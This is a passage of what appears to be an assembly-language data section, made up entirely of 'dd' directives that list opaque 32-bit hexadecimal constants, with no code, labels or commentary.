0CE0F265Ch, 607765EAh dd 0A0E48961h, 0D03D2CBCh, 87B3073Ah, 0FFB2F0CBh, 0AF3969E1h dd 5F7E00BBh, 243B2F30h, 6D870099h, 1DE7E30Bh, 4600EAC7h dd 4DF93FA4h, 78E625h, 8E9D7271h, 0B281701Bh, 803ECF3Ch dd 5D61D5DEh, 196D1Dh, 9C292234h, 3B131A52h, 548DCF00h dd 0D16515FEh dd 1CA20385h, 5F0F63BCh, 275DA9B8h, 432258h, 0E37473EFh dd 0E72EE0h, 8C1F6587h, 1AC71EF4h, 840B1800h, 10CA2F93h dd 0A76E5h, 8D47C99Ch, 7AEA1BFCh, 331E42F0h, 59002857h dd 0FEAFB8CAh, 870801EEh, 108DF2FCh, 0A436E4A6h, 3DF5921Dh dd 9CF731C0h, 0D00498h, 1BB29D9Fh, 0A5C34295h, 2CA0395Ah dd 0CF6000A3h, 8CDA3628h, 240778E3h, 83AA1DEh, 0A6D8CA40h dd 0F9175CDDh, 427F111Ch, 0D1FABE72h, 0EFB93560h, 50B2301Dh dd 10E20A00h, 0A6017Ah, 72435EE9h, 879ECA80h, 88E7BD00h dd 3C1D9ECh, 3A4A7F62h, 8E00A91Dh, 75DA9404h, 9D1F2738h dd 817B0185h, 0D486E51h, 3D02928h, 0C31000FFh, 7246740Ah dd 32000887h, 0E89E993Dh, 7527893Bh, 0A32B0004h, 901383C6h dd 82A03A71h, 88581E86h, 0F2A80069h, 0E1218070h, 994000CAh dd 0F3C59C54h, 220EAE48h, 0A0AB112Fh, 0C3B07883h, 8CD6006Fh dd 0C44FE94Eh, 2D07376Eh, 0E5B9E785h, 0C22C5720h, 629800ACh dd 10DC1436h, 0C3002B19h, 0B6F9807Dh, 1E97C223h, 3E6DB81Fh dd 0C6498D80h, 0A1F3673Dh, 0A9008C74h, 85AA5B09h, 122D0D72h dd 0C1AD12h, 0AC300FCBh, 0F83EE628h, 0D67B9C9Ch, 0A0BD1140h dd 335CA7h, 4FD55E45h, 2E4CB91Ch, 0F0EDF503h, 0C8EB4070h dd 12679F9Eh, 1FFC45EEh, 0CACD8072h, 0B620E2F8h, 775E6404h dd 0C3801D26h, 387C0918h, 1F72D6C7h, 40D0B119h, 0BB23D148h dd 3601E33Bh, 3731B08Fh, 0EED8EAFFh, 2D6F00C5h, 0F3BDF93h dd 5A0FF85Bh, 0C01162B9h, 87E6DAB5h, 50F400A9h, 6B0F7E1Ah dd 0A7058683h, 4A47BCFFh, 8B906C0h, 5717B56h, 0E9CFEF48h dd 306D80A9h, 609D0DEh, 5F263FD1h, 0DFC4EA00h, 83003ED6h dd 0CE1270CBh, 3DF7EFD3h, 9E00FDA2h, 0D925BA73h, 910F5FFEh dd 0E0D79202h, 0ECAB4D72h, 2DB98F0h, 0CE426152h, 1240A7ACh dd 0E2009AF5h, 0DAC79B49h, 794C18h, 0D320987Fh, 24E0E7B9h dd 0EE54A00h, 1A115554h, 0CFEB00BBh, 63CB733Fh, 2900BFE8h dd 21FB5925h, 8495F7h, 4266374Eh, 2DA01BC4h, 1FC7E33Ah dd 890EB077h, 609A80F8h, 1A3E421h, 94CDC273h, 0FC6F1522h dd 0E100D8F7h, 342ADA5Dh, 2CC1B39Fh, 0F1BC62h, 43DB0516h dd 0BE00DF9Ah, 0E4F7F86Ch, 0FDFC92h, 5803E2Eh, 41F2C51Bh dd 0AE00A9FEh, 0EF087B68h, 4877A94h, 0F4933D38h, 0D727806Dh dd 0EE005391h, 1D987163h, 3FE6EAh, 262031F0h, 175FB2F4h dd 0A3008CECh, 95A783B5h, 7109303h, 0F072C1D6h, 411D301Ah dd 4C7B77F7h, 0F2CD5D0Eh, 96ACE095h, 123702h, 0EB9E7D34h dd 5DA0288Eh, 80C2413Dh, 2A402B60h, 7B19808h, 0B6EFE637h dd 0D1D3A0F7h, 8400490Eh, 5FF4F43h, 6A962Dh, 0C4568B2h dd 0B03A645Bh, 0EB66F403h, 8687129Eh, 3EB4C0EEh, 0D5AEA6CDh dd 0BA17C924h, 86202C00h, 0F9CADAh, 0C6671D56h, 29605E55h dd 0E99B3000h, 18390DE2h, 0F13B008Ch, 0B5A4BB74h, 0CC008B58h dd 1032FF34h, 31E7E4h, 6BCD2481h, 623918AAh, 7AADB300h dd 5C1A4D77h, 0D35800F4h, 71CA08C9h, 9B008C60h, 8A3D9293h dd 0C2AAB1h, 0BAF3DA9Fh, 9E8B4E82h, 8E416100h, 76C89774h dd 0EF6C00A3h, 9BEB83C0h, 0A40F0F3Fh, 5907F0h, 887F29E1h dd 19AC0E93h, 55C07E8Eh, 6EF9E973h, 5C819700h, 0DDB357F3h dd 0D6EAB5h, 73F01321h, 0DFA260ADh, 0CC006798h, 0FAAA504Bh dd 0C85C82h, 59524824h, 0B86B8A73h, 0BC634600h, 54EFA8C0h dd 3D27694h, 8F17D0FDh, 0BAC8215Ch, 0E100B7DDh, 0A08D960Bh dd 729351Eh, 26A5F5Ah, 0FAB13088h, 400451Bh, 90FDEA4Bh dd 0E7B03Dh, 9922210Fh, 0BBC52CABh, 0CCD8B200h, 0F16D3945h dd 8A43005Dh, 94C0F5C3h, 40F8C26h, 3A723Bh, 9BF52F8h, 5B07008Ah dd 0AD4F77D8h, 0CF007F2Ch, 7332DD8Fh, 3FFF3EEEh, 8900CAABh dd 8CD99A66h, 2E3B850Ah, 0B6DB0014h, 18A62353h, 0FAAE0083h dd 0CA287E6Ah, 0FD005257h, 6FB3017Bh, 3951F11Fh, 8A00F2AFh dd 1A1C2A3Ah, 4A008861h, 3115DE07h, 1D1B87Eh, 6CDDDBE8h dd 0CCEC75ABh, 70074D41h, 0A3FF4E46h, 0FB9737F0h, 771F0F78h dd 252099EDh, 0CD05708Bh, 0BAF77950h, 0AF0080FAh, 0EB5DB985h dd 0BCB433h, 19D49C11h, 43C1A56Dh, 282FFB00h, 7FFCDE40h dd 776A00D7h, 0BCA96207h, 250EC9E8h, 0E09E96DBh, 4E6F5BB7h dd 0B5CE0073h, 473477CCh, 0BF003191h, 5164BB8Dh, 4C8BBEh dd 0E3567C87h, 24675A54h, 0A37E3200h, 0E931CDF1h, 0B8F80E6Eh dd 0B360205Dh, 671A4140h, 0E37B512h, 27484305h, 3C8D39C0h dd 6F96003Bh, 79E3EB1Ch, 2E81BCCh, 64AB500h, 0F65ACE9Dh dd 0BEE648h, 0F24464C7h, 0EC5C238Bh, 28A47603h, 0E8480974h dd 0FB6B4A1h, 327A4EEDh, 0EF4D08A0h, 82011365h, 0A04FBD0h dd 5FC590B7h, 0B53021F5h, 0AF750083h, 51443555h, 813CCBE8h dd 200D0E6Dh, 4BEBE08Dh, 3F0574E2h, 1F80BB5Fh, 53D84079h dd 0D100F98Eh, 61FFA2F1h, 0F67AF873h, 0EA6D00A8h, 9C399947h dd 800EEBACh, 20B2B72Fh, 549133D3h, 0B83B00D4h, 3415E04Ch dd 0B60074EAh, 708796C1h, 0FBDE63h, 0A6A514F5h, 49F6247h dd 0ECEE7B01h, 93D8D710h, 4BF5C0h, 0E56D2ACDh, 7FF86D1h dd 0CBF4EE00h, 28E773ACh, 72EC00E3h, 0DB4B1B1Ah, 0D2033BCEh dd 0AA2F3E93h, 24F3D088h, 63D53E99h, 0ADF03281h, 0E4AFBBBAh dd 27021CABh, 0DDECC658h, 0C7E057E0h, 0C100D21Eh, 95FBEBB1h dd 10FEF07h, 61C6DABFh, 0E0DB69F1h, 0B30066F0h, 29AFCD31h dd 0BB3996h, 0EFA4FD1Bh, 0E106F91Dh, 9C98BE00h, 1BDED74h dd 0DD6900C1h, 9F2879F2h, 0A300A573h, 6254C950h, 35CAAF6h dd 8AE33639h, 86834738h, 213FDAD0h, 1669571Fh, 0D7E8B980h dd 0F14DFh, 8DD43B3Ah, 588B8E4Ch, 68F86700h, 924BA3E1h dd 0B7910712h, 504DAA0Ch, 56FE0282h, 25228500h, 3103F48Fh dd 7389169Bh, 0FAA4007Ch, 9DCFB680h, 0DF7E5500h, 70B07F10h dd 79AE0E5Ah, 69C296F0h, 34E00DACh, 7B038A53h, 15EF6307h dd 0AD9BD8D9h, 2ECB0229h, 190920B5h, 0F1A170C0h, 812A4400h dd 0F9451043h, 1D7800C2h, 2F23CDAEh, 0C4009969h, 0A440EC7Dh dd 97618Bh, 6ED7DCD9h, 83325CFEh, 482B8000h, 7F8BE372h dd 0C89E00B1h, 8E14E0D2h, 6F004930h, 98C29FEAh, 9C65A4h dd 16325806h, 4A113CBAh, 12369500h, 0EE2654DDh, 6A8900AEh dd 0F98AB473h, 0DE0FC13Eh, 0A292346Dh, 0C0703B51h, 1FA02Fh dd 1509BEF3h, 0D177E0A9h, 690117F0h, 0B085E6BAh, 5C20414Eh dd 0F1DD004Dh, 0EA3625A8h, 0D5001E17h, 8EFA19D3h, 1F90D40Ch dd 243AEDh, 5EBC39C9h, 0C5008064h, 27DECE4Dh, 9D881D87h dd 614E3EE0h, 4CEED507h, 7A639857h, 25788972h, 8752F8h dd 0A2F9391Ah, 0D9C8D189h, 8E59B300h, 5336064Bh, 12EB00F6h dd 82C52286h, 13E475FCh, 0D5F07EFAh, 4AF01D00h, 0CC441253h dd 1F9200C4h, 8057B7A0h, 0E2006023h, 0B4850573h, 2CF5ABh dd 0E9FC51D2h, 3AC94D0Fh, 611EE0Eh, 667E2050h, 40FBE6h dd 0E7D7C34h, 0E2B5B34Eh, 18B83800h, 362E3D14h, 22512C4h dd 15CD0060h, 0AC523563h, 1DBF3Fh, 0CEE07C31h, 75D2F5h dd 5F378099h, 409248Ch, 36F14903h, 0E0E0AE27h, 87D30Ah dd 1E1AC19h, 6E3A626Dh, 4D00EB75h, 0A62AF6A8h, 1DF9FAFh dd 0F2CCE715h, 0C4998CE3h, 0C5002936h, 6B47ED5Bh, 0F0D5FB9h dd 0D3BEDF05h dd 5024F2C0h, 3A00DEADh, 64F1DF4h, 3083EF7h, 8D0382D8h dd 0F880CC2Ch, 421201A4h, 94A05E02h, 0B73E0018h, 986B7081h dd 0E774CAFCh, 114B9100h, 0FA167EB8h, 0DCB050h, 0F7FF44C5h dd 77F37A52h, 0CF112E00h, 56E706E1h, 0D13F001Fh, 0FD398E46h dd 2D12B9F3h, 0E0009651h, 249CAF1Eh, 5727006Bh, 8EDDF729h dd 7600E387h, 50A128Bh, 7CC537A0h, 0AFCF3AEEh, 9942580h dd 34ECF3F0h, 0C100B27Fh, 9897B9BDh, 0BB24A1h, 6B6D3D88h dd 81A9337Ch, 2D755100h, 0FE4EA22Fh, 3D1500DAh, 66C18A5Eh dd 6B007F54h, 0ACC4DBD5h, 1E61A5E2h, 0D8EA78h, 7ADEF88Ch dd 5C00193Ch, 35D981FAh, 9D32DCh, 0BFBAB352h, 8491BE8Ch dd 223F6700h, 30474511h, 7A9FE7Eh, 0AE4CFAB5h, 3ED9F0C6h dd 0A41FBF9Dh, 4041525Bh, 7D8C2386h, 6A87C4h, 0C4448D97h dd 1D53DA49h, 0DB74F51Ch, 8B078F40h, 0D69FFEh, 7E91F01Ah dd 79A8FCB9h, 8143EE1Ch, 0E29C7100h, 4FE97Ch, 540D1361h dd 0C8049D41h, 0C0E78A7Dh, 57006DECh, 0CAB8A5D1h, 390F1E49h dd 5E0082BAh, 0DF19CD7Eh, 4300F9A1h, 2C2E316h, 1CB748h dd 2340417Bh, 0E18BBBDAh, 4E4D7F02h, 0C02C58BAh, 92DC511Bh dd 87EA001Eh, 1319D9C4h, 590E0720h, 0DEC29160h, 58A3D200h dd 0FAC3FAADh, 0D8500E21h, 9805D68h, 474DF9BAh, 4B42F200h dd 15E9278Bh, 284500B4h, 2BFC8EFFh, 0B500511Fh, 0E5A947C6h dd 1EB7106h, 0FA028127h, 0CCD1D96Ch, 0D200BB32h, 0C7D5CA53h dd 260B25h, 3FE15539h, 4CDE3868h, 0E00FC5EEh, 41462076h dd 8814EE11h, 0B329DCh, 4C4565A7h, 0E3BB93B1h, 61DE8700h dd 0E7473F2Bh, 788304B8h, 0C09D6EC0h, 6D8AA062h, 3D6F9300h dd 0B03A3623h, 437A002Ch, 540424D8h, 0AE00C3F2h, 527C9499h dd 0DAF59Fh, 0AF01C163h, 97591782h, 2124E201h, 570672F9h dd 83D4B4C5h, 6F7C0549h, 0C02FC2ACh, 2CBFE940h, 0CD63A200h dd 45937F7Dh, 0CB283FB6h, 4A490800h, 4D4233E8h, 87B5FF3Ah dd 9A5E387Eh, 1C285BC0h, 3BB200AAh, 30F21A82h, 0A700B4D9h dd 2DE85FDAh, 32602EAh, 0C0C241A5h, 8FA0CE59h, 0E300227Ah dd 302B9111h, 0EA5096h, 4F9E2928h, 0B6C0B05Ah, 0E3F42201h dd 6F0B9741h, 0AAFC33C9h, 7B7C38h, 0EA573AFEh, 0B78103A6h dd 4774C700h, 34C6CE52h, 0E3E60058h, 1D988D0Fh, 0FB1E4CC5h dd 900FA427h, 0C999C707h, 1AF9BCE0h, 1045009Ah, 46CFFC8Ah dd 7900FB55h, 0A5CC4FDCh, 0B8B6580Dh, 0EC820067h, 55495062h dd 6D1C6798h, 180F42Bh, 0AB5D081h, 0D7794Dh, 46C94CFBh dd 6531C2A2h, 27002477h, 619BAB35h, 6AF175h, 0C2CAF38Ah dd 0E23F847Fh, 7BF570E5h, 5A58AB00h, 0FEFB35E4h, 1A27F0Ch dd 9CB0B691h, 0EC1140C8h, 0F53D2F3Ch, 0A28E0424h, 0A7F85542h dd 41DE0778h, 377D4599h, 0F594701Ah, 3E0FBBF1h, 0A0FBA627h dd 10EAE9E8h, 0E6B0008h, 29F7D591h, 0AD003006h, 2156ED62h dd 4498C51h, 7CE6B85Ch, 0D45B8084h, 24003670h, 2E2227CCh dd 3A4494F8h, 0B300FEE1h, 0E8E00E17h, 1C1FF156h, 7AC7236Ch dd 0D100F67Fh, 6A7D6Bh, 3152DE78h, 0C491139Ah, 0C20B3E00h dd 9CAADA84h, 0ED460053h, 0B2A2C359h, 3FB0EBEEh, 544BC100h dd 0FD627DADh, 971000ECh, 8874233Bh, 2A0925D2h, 800BBB3Eh dd 11A6174Ch, 90381EFDh, 0E4594018h, 0F5FA2C21h, 0C66FF000h dd 0FD77FBDCh, 483900B4h, 0F1837C27h, 3AC09D9Ah, 0E9C689BFh dd 5BE19F4Bh, 33B06051h, 0A1876C00h, 0F9A2AA2h, 0E94D000Eh dd 8A516938h, 91020306h, 0ED7C3E6Bh, 0A026E3F3h, 0B8AF654Fh dd 6AFC0012h, 0BAE84BF5h, 12005C9Ch, 196D221Bh, 1E30ABE0h dd 5F0CC4C8h, 26AD009Eh, 0CDA518E9h, 900F1CB8h, 80754C3Fh dd 0A3F06E15h, 521000B9h, 66D58ABDh, 0C9001DA5h, 9A6FE4F1h dd 561F69h, 8B5399Dh, 0A462D52Ah, 4099070Eh, 0C6E4C0A7h dd 894AB0h, 0FAE51E58h, 9C8AEE54h, 0C4B29000h, 476B5FB6h dd 24DE03FBh, 0D78D648h, 151E2DA0h, 0E1BEFF00h, 76724D4Bh dd 0D47D00F0h, 303FFE7Bh, 4000F932h, 187A5E66h, 79ADEE7h dd 0BAF34D53h, 63F69015h, 0AF038708h, 7019B259h, 5A0F0CBh dd 0C1CC0026h, 0DEFF1846h, 0E300D19Ch, 0AD948965h, 3860EFAFh dd 480368D0h, 6DD9ED92h, 155621A7h, 1E3D8A3h, 0A83DB302h dd 50787C17h, 0FFD80789h, 0C08A14F1h, 4D1D2CA6h, 7FAEF40Fh dd 0CAAFE08Fh, 82ADBCh, 0E9BD5913h, 8470C5C9h, 9705E300h dd 1E2FA811h, 0CE49019Bh, 0EED075C1h, 4E39F4C2h, 0C0D7A300h dd 89F95368h, 2A870091h, 2E50694Ah, 0B47CCE93h, 0EAB1DD00h dd 447443Fh, 4DBA03C7h, 3BDE9B6Bh, 0DFC077D3h, 0C1006862h dd 0C5289D84h, 5B53B8h, 0B5A39598h, 0E61E11FDh, 0A5152200h dd 6F3ADB16h, 0D41001Ah, 2A0EED4Eh, 5000134h, 0D8DA4D06h dd 2C215515h, 543B84h, 0BE163ED3h, 0A200D5DDh, 64959F60h dd 1CED09F8h, 40DFDEB8h, 9D5859CDh, 6F001E80h, 0B5145EE4h dd 3AA18Dh, 0C17587A5h, 0F64B3856h, 89001370h, 23BDA260h dd 73C735h, 38DA88F5h, 0E48A3B19h, 7FE80600h, 8F7D3B2h dd 0FB6E00B9h, 53EB9E3Ah, 0A8079617h, 0D440E6B7h, 0CA8FB880h dd 60ACC042h, 3F19D1F8h, 0CC32B91Fh, 55D52080h, 0A3AF4Bh dd 727360E6h, 53D3B15h, 0AA488F00h, 589AFC54h, 6F1C007Bh dd 2D0AAB69h, 0B11CF21Bh, 6EC0A891h, 0FD874D54h, 0F84E001Fh dd 0E4FBDDB8h, 803DC86h, 3913CF6Fh, 2BAAC0C4h, 0A54200B1h dd 9F6EEBB0h, 677D4FDFh, 71239800h, 64F52637h, 0C9C400B9h dd 0FC8892B1h, 0B7015EE9h, 3E6DA88Dh, 67D8853Ch, 391D1F12h dd 611900AEh, 0B4D5CD43h, 0A8D7ED0Fh, 2AEB0051h, 0F4A45E7h dd 0E3ECA73Ch, 216600B6h, 909DA846h, 0B3357900h, 0C560A176h dd 0F5C00026h, 0DC95DD11h, 9F7A0BE4h, 0A70062EEh, 0C8713AB2h dd 2F76E2h, 6DDFD91Bh, 444F05B5h, 0D19EEA00h, 25527B2h dd 935900DBh, 3130147h, 0DA773A7Bh, 650F5590h, 60FFD223h dd 0DB304164h, 397C7BB0h, 0BD014C31h, 8893DF2Fh, 0C049D186h dd 2000BFDCh, 8B6BDD35h, 85A599h, 2DD49854h, 0EF931C95h dd 0CA3F0A1Eh, 2E28A9C0h, 305C4A5h, 0EA2A2441h, 99E01EFEh dd 64007881h, 0B98E7E4h, 595788h, 0B5AAA892h, 2AED7A40h dd 5396400h, 0AE66E9Fh, 8D540050h, 0CA4C7923h, 0F200FB1Fh dd 0B2650BE8h, 66A44Fh, 3D16DBEAh, 0D1E21784h, 53F06FE9h dd 99DF015Fh, 643E90BCh, 28A0FCAEh, 80438538h, 0DB570297h dd 3D642CCh, 0A36CCE30h, 0C6C866B4h, 1C0079DEh, 3BC5E8Eh dd 0EE867E01h, 0F04E0010h, 0D7AF0A3Ch, 1400762Ch, 5CF4E905h dd 7AAABBFh, 59C8A6C7h, 0AFF01019h, 9E00EEF8h, 672E86E2h dd 71CF2Ah, 7B0E5B4Eh, 471485CAh, 79DB6007h, 3B20682Eh dd 2BC7E8h, 40E55CD2h, 0C897AA32h, 313FE400h, 7D56CA6Bh dd 214424EBh, 0A8A4003Bh, 0A7FE8BF5h, 1CBED107h, 4720223Eh dd 39535D28h, 55002B32h, 2EB737A5h, 0F000AAEFh, 0C7CC6173h dd 1C21B942h, 0C03A6225h, 4BD30BB3h, 370002A4h, 90D793F8h dd 6E9E78h, 0D284D455h, 623460D3h, 9809BA00h, 0F7E0174Dh dd 0CC901D0h, 4674C36Dh, 0DC3171B0h, 3A79C082h, 3984A948h dd 129000Ch, 0B4552ABDh, 6D4900E2h, 0FC9562A0h, 0DB006341h dd 44459E67h, 3B17A172h, 9B96C120h, 0D80301E6h, 60A20516h dd 8C008D37h, 14A44E99h dd 3A11E4Dh, 9C0D8AD9h, 68F080D8h, 0BAEE1D7Eh, 42303Dh dd 2790C40h, 18B4C47h, 9E0F4953h, 0F8BC5426h, 957F0703h dd 4A003DECh, 2D0C5718h, 0B879F4h, 87D076BDh, 0E4BB2524h dd 61B5521Dh, 9600FE5Ch, 0FBA35928h, 0D23F5815h, 5F7C7100h dd 0CC43F88Bh, 95905079h, 68768000h, 92C5F49Ch, 1CF37036h dd 701E7AEh, 0E0DB4462h, 75B0088Ah, 1CDF590Bh, 1D91005Eh dd 3EB1071Ah, 5073D0Ah, 30E304FAh, 146A7E57h, 227AB400h dd 0B1F3128Dh, 18A40773h, 10762FACh, 25C43E50h, 0D6E56001h dd 4BEF0159h, 82BF4h, 3F675D51h, 1AE47F57h, 0EAD74907h dd 7772E917h, 98504042h, 12E1012Ah, 803A4088h, 37D4F0DBh dd 31B5D92Ch, 0D1247800h, 7FEEC87Fh, 0B6A800C3h, 6704F347h dd 0F8003CBFh, 0B5A63220h, 4FB1EB0h, 1FDDEB5Eh, 5D00FA34h dd 0D6D470E3h, 0BCF800FFh, 8B8531A7h, 0DD766BCCh, 0D9614A7Ah dd 0A3922524h, 0B4BE3880h, 0C3942787h, 780035F2h, 8CD07F89h dd 199D4Bh, 987AD6A9h, 146EDD5Ah, 17E8400Fh, 0DA9E2728h dd 0BE71B800h, 44C00077h, 57A77EF2h, 2A008BC1h, 3A4D5D69h dd 0E81448CEh, 2B401CA0h, 0C26406Dh, 6795A253h, 43CB9400h dd 89C81B6Ah, 472E0044h, 9793D796h, 57006987h, 0B87DBF25h dd 0D3A9B1h, 0ED70595Eh, 781DA864h, 0C6A3C201h, 0AAAFA74Dh dd 1CF7ED4h, 0C95EA9D7h, 0F20733A2h, 32F580FDh, 0B94A89h dd 0B631F90Fh, 0FAED0B56h, 0D6A9413h, 3AC32000h, 0FC2858h dd 9F7201CDh, 4C07E177h, 7615C707h, 0B5C082B2h, 0FCE94h dd 11F3FCDDh, 0F5A5E7B3h, 340090FCh, 0A10AAE4Ah, 0D9D5ABh dd 54569A80h, 5F2C141Eh, 41B4BC00h, 9D231752h, 129900AEh dd 96350FF2h, 0F8006D89h, 0BD22F6EBh, 78C9A17Dh, 0DD330079h dd 9CADEEA6h, 7CF29746h, 3F8B658h, 0B0545E82h, 0BC06D8A3h dd 52B70024h, 8CA20CB9h, 180071A9h, 5DCFD921h, 83FA37h dd 0B91126AEh, 6AE2F809h, 876B2900h, 0E07406ACh, 0D2BF0082h dd 68D6D14Ch, 2C00386Ch, 0B9DA1756h, 5558B2h, 87AF95FBh dd 0B5C06D22h, 0C5CEB802h, 60DF9A27h, 3FE3487Bh, 0FC3B81h dd 0C4C2F082h, 1009C3E5h, 0D41C2F0Fh, 0C6954104h, 0B0D03741h dd 3EC7005Bh, 0A606C0B6h, 0DB70CC87h, 470FFF1Fh, 0D4496FC0h dd 3EFCF4B7h, 921F11BDh, 934480CFh, 0D8FA24A1h, 0A48BAA00h dd 2875FE20h, 99E800FDh, 9A050ECAh, 61033D4Ah, 39512695h dd 0F55BD8E6h, 17EF008Dh, 213FAA58h, 0E0074EB1h, 0A3820834h dd 8E5BF470h, 0D21848F7h, 3C744F00h, 0F3722073h, 6A0045F8h dd 825064B5h, 0F029E996h, 5CA81C36h, 0A3C540DFh, 0E3F5AA13h dd 0B7505900h, 0FF909FFDh, 1B020083h, 80719C98h, 0D4729A1Eh dd 5163F81Eh, 0B654ABC0h, 0BE444Eh, 0C5D9E1E9h, 2ECFA89h dd 9A678000h, 648768AAh, 0CE1C00BCh, 0D7EEB158h, 0F93F22D1h dd 5F390184h, 8991C12Dh, 0F6C59BF0h, 0FAF800C9h, 0F7970406h dd 56004AEDh, 0F9BAA35Dh, 5AD6C0h, 8B27D89Bh, 714BEB21h dd 9DFA4773h, 0D07CBA00h, 0BF427F5Fh, 3B352636h, 70600F1h dd 0D2AB671Eh, 8366C33Eh, 548964F6h, 0F5A2F026h, 4EE41F2Fh dd 9F8E8163h, 0FCF00BA7h, 0E89010C6h, 0B5FD791Ch, 13EAA6C0h dd 0E6997C5Ch, 98D0E178h, 0C64F0056h, 0A76525B9h, 0F51EF71Fh dd 0E1C0A27Ch, 0F8960BB2h, 0DEC1Dh, 5BD125F3h, 453DCABDh dd 0FF797700h, 0E7C184B8h, 0C56800DCh, 0D71E3A04h, 0F300F165h dd 0FAE93979h, 4DE6BEh, 68B05392h, 0C68B0C63h, 75CA3B07h dd 65F1FB9Eh, 0FD04DD3h, 0B9760071h, 0D90DA077h, 850014C7h dd 0DC18FDB5h, 8048B3h, 91946C46h, 672A8EE4h, 5CB98703h dd 90BE235Eh, 907C5419h, 2D3207C8h, 806E7AECh, 0D3778B25h dd 76FA158h, 0E4E8186h, 61627E30h, 0D7796Dh, 0A7910535h dd 0B3602FA4h, 4A147800h, 15EF2126h, 0EBBA007Ah, 0ABCBF8ECh dd 0DC0045D0h, 7753CF40h, 30246Eh, 0CC35DF4h, 0B44FD87Dh dd 5A005975h, 0A0ECAD9Fh, 1C76521h, 58DCFC82h, 0C4CB0D90h dd 0F0006263h, 0E4C9C4A9h, 274EDDh, 151D34A5h, 8AFFA1B8h dd 0BB812F07h, 980103Dh, 0E221578Bh, 3A7A00DFh, 0E8845CE3h dd 0F0006D4Dh, 38A46469h, 0DB53B4h, 19AE02ACh, 2BFC1A1Fh dd 0CB5A6800h, 42CA9B25h, 0A26413D6h, 0DC230108h, 0DACCF5DBh dd 4328A040h, 75D67000h, 0D8CDF3C8h, 617E07B0h, 6006E3B9h dd 596E47C5h, 0A186F801h, 8715D330h, 1F1E560h, 0AFC4A5BAh dd 0FC4A3AD7h, 0C3004C53h, 65F4A729h, 1C481D76h, 810FF597h dd 0D9C696E5h, 5AA9F0CDh, 91F39400h, 523834ECh, 0AE35013Dh dd 0A7FB6F98h, 0EA80D3ABh, 0D600EF41h, 61444D58h, 7F648Fh dd 0A51EF975h, 34DEA1FAh, 0B20039E4h, 87D2143Fh, 52C8AC4h dd 0F97E24B7h, 0B4C2C259h, 964A89C0h, 0B2AC6B1Ch, 1083C540h dd 6C3A73h, 0E4305F4Bh, 0E7546FAh, 1900DF77h, 0D49FBD8h dd 0B0D11874h, 4FE21C3Bh, 508203AFh, 9C90214Ah, 3500871Ah dd 0DB3D8325h, 138EB01Ch, 19A522h, 3BE01D55h, 0AB00BDDDh dd 0D39D1728h, 9F04EBh, 0E8F17824h, 0C32E0732h, 3C41D01h dd 6479D42h, 0CDA460h, 0C6234FC2h, 9F1F372Ch, 0B96E800Fh dd 259A80AAh, 24DF72A5h, 0D51D60h, 405D0BC9h, 0B790E54Ch dd 450E94FCh, 802BDC4Dh, 8E6AB371h, 6010303h, 0F1D87CE0h dd 1159C0DCh, 0AC0094C2h, 0A61E0204h, 7C30282Ch, 6C20038Ch dd 0A80A2DFFh, 47E16DA0h, 73801B00h, 7003364Eh, 3875012Bh dd 64EBCA7Ch, 6510605Eh, 67321700h, 35EFF203h, 8C410051h dd 0ECA3C00Ch, 621E6CEDh, 9CC08011h, 6B7FA934h, 0BB7D0076h dd 0CEC23868h, 39746FD2h, 0AF002F7Ch, 0A1996574h, 1A89B2Ch dd 0BBFB0C36h, 0F894C78Ah, 4800FA3Bh, 51466ECCh, 720DFC8Ch dd 1D5B01DDh, 245FAD83h, 0C79FE87Ch, 8427C900h, 814C500Eh dd 162E0060h, 0B7AB7341h, 0CA079813h, 0AA8B77D4h, 0FFD94ED0h dd 1C14E6E7h, 40580AF1h, 2B38871Ch, 3300EEACh, 0C1485998h dd 25AC4A3h, 23B8EC7h, 92E09D0Bh, 3000C92Bh, 3C0737BBh dd 3B1F5595h, 4200CB90h, 29DA70Dh, 88002B5Ah, 735D3BA5h dd 7EC94CD7h, 0A67AF1h, 0B6C24D9Dh, 78FFE526h, 3D4B0300h dd 0DCF07D0h, 38C80042h, 66938721h, 900F62Ch, 0BD745341h dd 0BD8F3686h, 0AA00D1F8h, 0A37046ACh, 3F0F0Dh, 0F3A81293h dd 31D72295h, 5ED0770Fh, 2F5FA045h, 48C4263Ch, 0BA0086B6h dd 3B164127h, 75014DEFh, 55CA13C6h, 1120CB0Bh, 0F41A4C9Eh dd 0C7FDB600h, 9D4E6710h, 0A635A703h, 80FBA252h, 1CEAE092h dd 0BEF1B6E6h, 6103007Bh, 9DB932F9h, 810052D5h, 0F8087275h dd 1CB67056h, 0C1227F84h, 85F986C3h, 42A07FEDh, 0D0420F69h dd 5340FD94h, 0BB47C44Fh, 0BF00A87Eh, 5ADA2350h, 0B605C0h dd 4EEA7B7Ch, 0CA20CD83h, 408DA900h, 0C34DE562h, 244407BBh dd 64924E61h, 0B1D3C020h, 0E90065B7h, 560BD5F4h, 41FCD6h dd 0A5DD0713h, 33CD926Bh, 9CCF9000h, 68E222BEh, 56591767h dd 9196007Ch, 1D119D9h, 0C040FB03h, 0B8E20B54h, 0B49BD5h dd 731AB20Fh, 6F94D64h, 9C020C00h, 8B21ABF4h, 0FA1976CBh dd 250B00AFh, 933C2D27h, 10B0648h, 0FBD993Ah, 69922137h dd 0D7D81C79h, 1074C068h, 0BAF8BE3Fh, 0BC0B3E00h, 0E5C5E70Ch dd 73300153h, 52D8DB1Fh, 0D66EE4C9h, 0A24E4304h, 17C0047Ch dd 0AB8880h, 5C7E4F25h dd 24132819h, 76FB404h, 0B8383F0h, 4C0A049h, 7F5D0E87h dd 7AE01369h, 0C5679A36h, 0E92B8802h, 0E0B4496Ah, 0F0B203h dd 4B89D359h, 42BBF82Dh, 0D2003C7Bh, 752FBC4Ch, 2A2E5DCh dd 0C00ED41Dh, 8FE3187Dh, 0DB520CA8h, 8D237000h, 27C35B9h dd 4EDA0710h, 7018F7BBh, 0C138ABDCh, 4C4F6600h, 0C379BED0h dd 9BD40322h, 65A51910h, 5AA4E588h, 5B2AED01h, 169544F4h dd 50320h, 51A0AC8Bh, 0C1D5E9A8h, 9E572200h, 0D75F1CE0h dd 0B30F4EEh, 0AAF64246h, 9B98BE00h, 7600BE8Dh, 0B85F7E32h dd 0EB0B41h, 0F839D61h, 0D23CE0B9h, 0E2009374h, 26BA71EDh dd 2A03B7Ah, 843052C5h, 0FF083Ah, 0A3C7C41Dh, 706B09E0h dd 0E00EF82h, 2355633Eh, 79F53200h, 37D39504h, 4DF10EDEh dd 0D7CF5F52h, 0C580ADAFh, 42B70AEBh, 3BB4BB00h, 2D500C2Ch dd 7FE0046h, 643C9329h, 0DB00848Ch, 0A9AFCCEAh, 2C011057h dd 0F7BAB3h, 0E79C1970h, 